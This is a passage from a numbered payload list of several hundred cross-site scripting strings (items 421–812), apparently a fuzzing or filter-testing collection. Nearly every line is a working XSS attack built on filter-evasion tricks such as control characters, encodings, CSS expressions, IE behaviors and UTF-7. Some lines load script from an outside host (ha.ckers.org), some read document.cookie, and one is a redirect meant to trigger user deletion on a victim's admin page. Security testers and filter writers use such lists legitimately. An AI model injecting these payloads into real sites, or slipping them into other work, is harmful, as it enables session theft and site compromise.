421. <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
422. <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
423. <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
424. <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
425. <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
426. <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
427. <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
428. <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
429. <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
430. <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
431. <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
432. <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
433. <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
434. <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
435. <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
436. <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
437. <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
438. <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
439. <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
440. <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
441. <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
442. <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
443. <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
     
444. <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
     
445. <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
     
446. <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
     
447. <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
     
448. `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
     
449. `"'><img src=xxx:x \x22onerror=javascript:alert(1)>
     
450. `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
     
451. `"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
     
452. `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
     
453. `"'><img src=xxx:x \x09onerror=javascript:alert(1)>
     
454. `"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
     
455. `"'><img src=xxx:x \x00onerror=javascript:alert(1)>
     
456. `"'><img src=xxx:x \x27onerror=javascript:alert(1)>
     
457. `"'><img src=xxx:x \x20onerror=javascript:alert(1)>
     
458. "`'><script>\x3Bjavascript:alert(1)</script>
     
459. "`'><script>\x0Djavascript:alert(1)</script>
     
460. "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
     
461. "`'><script>\xE2\x80\x81javascript:alert(1)</script>
     
462. "`'><script>\xE2\x80\x84javascript:alert(1)</script>
     
463. "`'><script>\xE3\x80\x80javascript:alert(1)</script>
     
464. "`'><script>\x09javascript:alert(1)</script>
     
465. "`'><script>\xE2\x80\x89javascript:alert(1)</script>
     
466. "`'><script>\xE2\x80\x85javascript:alert(1)</script>
     
467. "`'><script>\xE2\x80\x88javascript:alert(1)</script>
     
468. "`'><script>\x00javascript:alert(1)</script>
     
469. "`'><script>\xE2\x80\xA8javascript:alert(1)</script>
     
470. "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
     
471. "`'><script>\xE1\x9A\x80javascript:alert(1)</script>
     
472. "`'><script>\x0Cjavascript:alert(1)</script>
     
473. "`'><script>\x2Bjavascript:alert(1)</script>
     
474. "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
     
475. "`'><script>-javascript:alert(1)</script>
     
476. "`'><script>\x0Ajavascript:alert(1)</script>
     
477. "`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
     
478. "`'><script>\x7Ejavascript:alert(1)</script>
     
479. "`'><script>\xE2\x80\x87javascript:alert(1)</script>
     
480. "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
     
481. "`'><script>\xE2\x80\xA9javascript:alert(1)</script>
     
482. "`'><script>\xC2\x85javascript:alert(1)</script>
     
483. "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
     
484. "`'><script>\xE2\x80\x83javascript:alert(1)</script>
     
485. "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
     
486. "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
     
487. "`'><script>\xE2\x80\x80javascript:alert(1)</script>
     
488. "`'><script>\x21javascript:alert(1)</script>
     
489. "`'><script>\xE2\x80\x82javascript:alert(1)</script>
     
490. "`'><script>\xE2\x80\x86javascript:alert(1)</script>
     
491. "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
     
492. "`'><script>\x0Bjavascript:alert(1)</script>
     
493. "`'><script>\x20javascript:alert(1)</script>
     
494. "`'><script>\xC2\xA0javascript:alert(1)</script>
     
495. "/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
     
496. "/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
     
497. "/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
     
498. "/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
     
499. "/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
     
500. "/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
     
501. "/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
     
502. "/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
     
503. "/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
     
504. <script\x2F>javascript:alert(1)</script>
     
505. <script\x20>javascript:alert(1)</script>
     
506. <script\x0D>javascript:alert(1)</script>
     
507. <script\x0A>javascript:alert(1)</script>
     
508. <script\x0C>javascript:alert(1)</script>
     
509. <script\x00>javascript:alert(1)</script>
     
510. <script\x09>javascript:alert(1)</script>
     
511. "><img src=x onerror=javascript:alert(1)>
     
512. "><img src=x onerror=javascript:alert('1')>
     
513. "><img src=x onerror=javascript:alert("1")>
     
514. "><img src=x onerror=javascript:alert(`1`)>
     
515. "><img src=x onerror=javascript:alert(('1'))>
     
516. "><img src=x onerror=javascript:alert(("1"))>
     
517. "><img src=x onerror=javascript:alert((`1`))>
     
518. "><img src=x onerror=javascript:alert(A)>
     
519. "><img src=x onerror=javascript:alert((A))>
     
520. "><img src=x onerror=javascript:alert(('A'))>
     
521. "><img src=x onerror=javascript:alert('A')>
     
522. "><img src=x onerror=javascript:alert(("A"))>
     
523. 
     
524. "><img src=x onerror=javascript:alert("A")>
     
525. "><img src=x onerror=javascript:alert((`A`))>
     
526. 
     
527. "><img src=x onerror=javascript:alert(`A`)>
     
528. 
     
529. `"'><img src=xxx:x onerror\x0B=javascript:alert(1)>
     
530. `"'><img src=xxx:x onerror\x00=javascript:alert(1)>
     
531. `"'><img src=xxx:x onerror\x0C=javascript:alert(1)>
     
532. `"'><img src=xxx:x onerror\x0D=javascript:alert(1)>
     
533. `"'><img src=xxx:x onerror\x20=javascript:alert(1)>
     
534. `"'><img src=xxx:x onerror\x0A=javascript:alert(1)>
     
535. `"'><img src=xxx:x onerror\x09=javascript:alert(1)>
     
536. <script>javascript:alert(1)<\x00/script>
     
537. <img src=# onerror\x3D"javascript:alert(1)" >
     
538. <input onfocus=javascript:alert(1) autofocus>
     
539. <input onblur=javascript:alert(1) autofocus><input autofocus>
     
540. <video poster=javascript:javascript:alert(1)//
     
541. <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
     
542. <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X
     
543. <video><source onerror="javascript:javascript:alert(1)">
     
544. <video onerror="javascript:javascript:alert(1)"><source>
     
545. <form><button formaction="javascript:javascript:alert(1)">X
     
546. <body oninput=javascript:alert(1)><input autofocus>
     
547. <math href="javascript:javascript:alert(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
     
548. <frameset onload=javascript:alert(1)>
     
549. <table background="javascript:javascript:alert(1)">
     
550. <!--<img src="--><img src=x onerror=javascript:alert(1)//">
     
551. <comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
     
552. <![><img src="]><img src=x onerror=javascript:alert(1)//">
     
553. <style><img src="</style><img src=x onerror=javascript:alert(1)//">
     
554. <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
     
555. <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
     
556. <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
     
557. <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
     
558. <object data="data:text/html;base64,%(base64)s">
     
559. <embed src="data:text/html;base64,%(base64)s">
     
560. <b <script>alert(1)</script>0
     
561. <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
     
562. <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
     
563. <embed src="javascript:alert(1)">
     
564. <img src="javascript:alert(1)">
     
565. <image src="javascript:alert(1)">
     
566. <script src="javascript:alert(1)">
     
567. <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
     
568. <? foo="><script>javascript:alert(1)</script>">
     
569. <! foo="><script>javascript:alert(1)</script>">
     
570. </ foo="><script>javascript:alert(1)</script>">
     
571. <? foo="><x foo='?><script>javascript:alert(1)</script>'>">
     
572. <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
     
573. <% foo><x foo="%><script>javascript:alert(1)</script>">
     
574. <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
     
575. <img \x00src=x onerror="alert(1)">
     
576. <img \x47src=x onerror="javascript:alert(1)">
     
577. <img \x11src=x onerror="javascript:alert(1)">
     
578. <img \x12src=x onerror="javascript:alert(1)">
     
579. <img\x47src=x onerror="javascript:alert(1)">
     
580. <img\x10src=x onerror="javascript:alert(1)">
     
581. <img\x13src=x onerror="javascript:alert(1)">
     
582. <img\x32src=x onerror="javascript:alert(1)">
     
583. <img\x47src=x onerror="javascript:alert(1)">
     
584. <img\x11src=x onerror="javascript:alert(1)">
     
585. <img \x47src=x onerror="javascript:alert(1)">
     
586. <img \x34src=x onerror="javascript:alert(1)">
     
587. <img \x39src=x onerror="javascript:alert(1)">
     
588. <img \x00src=x onerror="javascript:alert(1)">
     
589. <img src\x09=x onerror="javascript:alert(1)">
     
590. <img src\x10=x onerror="javascript:alert(1)">
     
591. <img src\x13=x onerror="javascript:alert(1)">
     
592. <img src\x32=x onerror="javascript:alert(1)">
     
593. <img src\x12=x onerror="javascript:alert(1)">
     
594. <img src\x11=x onerror="javascript:alert(1)">
     
595. <img src\x00=x onerror="javascript:alert(1)">
     
596. <img src\x47=x onerror="javascript:alert(1)">
     
597. <img src=x\x09onerror="javascript:alert(1)">
     
598. <img src=x\x10onerror="javascript:alert(1)">
     
599. <img src=x\x11onerror="javascript:alert(1)">
     
600. <img src=x\x12onerror="javascript:alert(1)">
     
601. <img src=x\x13onerror="javascript:alert(1)">
     
602. <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
     
603. <img src=x onerror=\x09"javascript:alert(1)">
     
604. <img src=x onerror=\x10"javascript:alert(1)">
     
605. <img src=x onerror=\x11"javascript:alert(1)">
     
606. <img src=x onerror=\x12"javascript:alert(1)">
     
607. <img src=x onerror=\x32"javascript:alert(1)">
     
608. <img src=x onerror=\x00"javascript:alert(1)">
     
609. <a href=java
     script:javascript:alert(1)>XXX</a>
     
610. <img src="x` `<script>javascript:alert(1)</script>"` `>
     
611. <img src onerror /" '"= alt=javascript:alert(1)//">
     
612. <title onpropertychange=javascript:alert(1)></title><title title=>
     
613. <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
     
614. <!--[if]><script>javascript:alert(1)</script -->
     
615. <!--[if<img src=x onerror=javascript:alert(1)//]> -->
     
616. <script src="/\%(jscript)s"></script>
     
617. <script src="\\%(jscript)s"></script>
     
618. <object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
     
619. <a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
     
620. <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
     
621. <link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
     
622. <style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style>
     
623. <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a>
     
624. <style>*[{}@import'%(css)s?]</style>X
     
625. <div style="font-family:'foo
     
626. ;color:red;';">XXX
     
627. <div style="font-family:foo}color=red;">XXX
     
628. <// style=x:expression\28javascript:alert(1)\29>
     
629. <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style>
     
630. <div style=content:url(%(svg)s)></div>
     
631. <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
     
632. <div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
     
633. <div style="background:url(/f#oo/;color:red/*/foo.jpg);">X
     
634. <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
     
635. <div id="x">XXX</div> <style>  #x{font-family:foo[bar;color:green;}  #y];color:red;{}  </style>
     
636. <x style="background:url('x
     ;color:red;/*')">XXX</x>
     
637. <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
     
638. <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
     
639. <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
     
640. <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
     
641. <meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
     
642. <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
     
643. <meta charset="mac-farsi">&#188;script&#190;javascript:alert(1)&#188;/script&#190;
     
644. X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
     
645. 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`>
     
646. 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>>
     
647. <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>
     
648. 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
     
649. <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a>
     
650. <x style="behavior:url(%(sct)s)">
     
651. <xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
     
652. <event-source src="%(event)s" onload="javascript:alert(1)">
     
653. <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
     
654. <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=javascript:alert(1)>">
     
655. <script>%(payload)s</script>
     
656. <script src=%(jscript)s></script>
     
657. <script language='javascript' src='%(jscript)s'></script>
     
658. <script>javascript:alert(1)</script>
     
659. <IMG SRC="javascript:javascript:alert(1);">
     
660. <IMG SRC=javascript:javascript:alert(1)>
     
661. <IMG SRC=`javascript:javascript:alert(1)`>
     
662. <SCRIPT SRC=%(jscript)s?<B>
     
663. <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
     
664. <BODY ONLOAD=javascript:alert(1)>
     
665. <BODY ONLOAD=javascript:javascript:alert(1)>
     
666. <IMG SRC="jav ascript:javascript:alert(1);">
     
667. <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)>
     
668. <SCRIPT/SRC="%(jscript)s"></SCRIPT>
     
669. <<SCRIPT>%(payload)s//<</SCRIPT>
     
670. <IMG SRC="javascript:javascript:alert(1)"
     
671. <iframe src=%(scriptlet)s <
     
672. <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
     
673. <IMG DYNSRC="javascript:javascript:alert(1)">
     
674. <IMG LOWSRC="javascript:javascript:alert(1)">
     
675. <BGSOUND SRC="javascript:javascript:alert(1);">
     
676. <BR SIZE="&{javascript:alert(1)}">
     
677. <LAYER SRC="%(scriptlet)s"></LAYER>
     
678. <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
     
679. <STYLE>@import'%(css)s';</STYLE>
     
680. <META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
     
681. <XSS STYLE="behavior: url(%(htc)s);">
     
682. <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
     
683. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
     
684. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);">
     
685. <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
     
686. <TABLE BACKGROUND="javascript:javascript:alert(1)">
     
687. <TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
     
688. <DIV STYLE="background-image: url(javascript:javascript:alert(1))">
     
689. <DIV STYLE="width:expression(javascript:alert(1));">
     
690. <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
     
691. <XSS STYLE="xss:expression(javascript:alert(1))">
     
692. <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
     
693. <STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A>
     
694. <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
     
695. <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
     
696. <BASE HREF="javascript:javascript:alert(1);//">
     
697. <OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
     
698. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>
     
699. <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(1)"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
     
700. <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:alert(1)</SCRIPT>"></BODY></HTML>
     
701. <SCRIPT SRC="%(jpg)s"></SCRIPT>
     
702. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
     
703. <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X
     
704. <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
     
705. <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)">
     
706. <STYLE>@import'%(css)s';</STYLE>
     
707. <STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>
     
708. <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
     
709. <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>
     
710. <style onreadystatechange=javascript:javascript:alert(1);></style>
     
711. <?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>
     
712. <embed code=%(scriptlet)s></embed>
     
713. <embed code=javascript:javascript:alert(1);></embed>
     
714. <embed src=%(jscript)s></embed>
     
715. <frameset onload=javascript:javascript:alert(1)></frameset>
     
716. <object onerror=javascript:javascript:alert(1)>
     
717. <embed type="image" src=%(scriptlet)s></embed>
     
718. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml>
     
719. <IMG SRC=&{javascript:alert(1);};>
     
720. <a href="javAascript:javascript:alert(1)">test1</a>
     
721. <a href="javaascript:javascript:alert(1)">test1</a>
     
722. <embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
     
723. <iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(1)&gt;>">
     
724. ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
     
725. alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
     
726. ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
     
727. '';!--"<XSS>=&{()}
     
728. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
     
729. <IMG SRC="javascript:alert('XSS');">
     
730. <IMG SRC=javascript:alert('XSS')>
     
731. <IMG SRC=JaVaScRiPt:alert('XSS')>
     
732. <IMG SRC=javascript:alert("XSS")>
     
733. <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
     
734. <a onmouseover="alert(document.cookie)">xxs link</a>
     
735. <a onmouseover=alert(document.cookie)>xxs link</a>
     
736. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
     
737. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
     
738. <IMG SRC=# onmouseover="alert('xxs')">
     
739. <IMG SRC= onmouseover="alert('xxs')">
     
740. <IMG onmouseover="alert('xxs')">
     
741. <IMG SRC=javascript:alert('XSS')>
     
742. <IMG SRC=javascript:alert('XSS')>
     
743. <IMG SRC=javascript:alert('XSS')>
     
744. <IMG SRC="jav ascript:alert('XSS');">
     
745. <IMG SRC="jav        ascript:alert('XSS');">
     
746. <IMG SRC="jav
     
747. ascript:alert('XSS');">
     
748. <IMG SRC="jav
     
749. ascript:alert('XSS');">
     
750. perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";' > out
     
751. <IMG SRC="   javascript:alert('XSS');">
     
752. <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
     
753. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
     
754. <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
     
755. <<SCRIPT>alert("XSS");//<</SCRIPT>
     
756. <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
     
757. <SCRIPT SRC=//ha.ckers.org/.j>
     
758. <IMG SRC="javascript:alert('XSS')"
     
759. <iframe src=http://ha.ckers.org/scriptlet.html <
     
760. ";alert('XSS');//
     
761. </TITLE><SCRIPT>alert("XSS");</SCRIPT>
     
762. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
     
763. <BODY BACKGROUND="javascript:alert('XSS')">
     
764. <IMG DYNSRC="javascript:alert('XSS')">
     
765. <IMG LOWSRC="javascript:alert('XSS')">
     
766. <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
     
767. <IMG SRC='vbscript:msgbox("XSS")'>
     
768. <IMG SRC="livescript:[code]">
     
769. <BODY ONLOAD=alert('XSS')>
     
770. <BGSOUND SRC="javascript:alert('XSS');">
     
771. <BR SIZE="&{alert('XSS')}">
     
772. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
     
773. <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
     
774. <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
     
775. <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
     
776. <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
     
777. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
     
778. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
     
779. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
     
780. <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
     
781. <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
     
782. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
     
783. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
     
784. <XSS STYLE="xss:expression(alert('XSS'))">
     
785. <XSS STYLE="behavior: url(xss.htc);">
     
786. &#188;script&#190;alert(￠XSS￠)&#188;/script&#190;
     
787. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
     
788. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
     
789. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
     
790. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
     
791. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
     
792. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
     
793. <TABLE BACKGROUND="javascript:alert('XSS')">
     
794. <TABLE><TD BACKGROUND="javascript:alert('XSS')">
     
795. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
     
796. <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
     
797. <DIV STYLE="background-image: url(
     javascript:alert('XSS'))">
     
798. <DIV STYLE="width: expression(alert('XSS'));">
     
799. <BASE HREF="javascript:alert('XSS');//">
     
800. <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
     
801. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
     
802. <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
     
803. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
     
804. <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
     
805. <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
     
806. Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
     
807. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
     
808. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
     
809. <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
     
810. <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
     
811. <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
     
812. <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
     
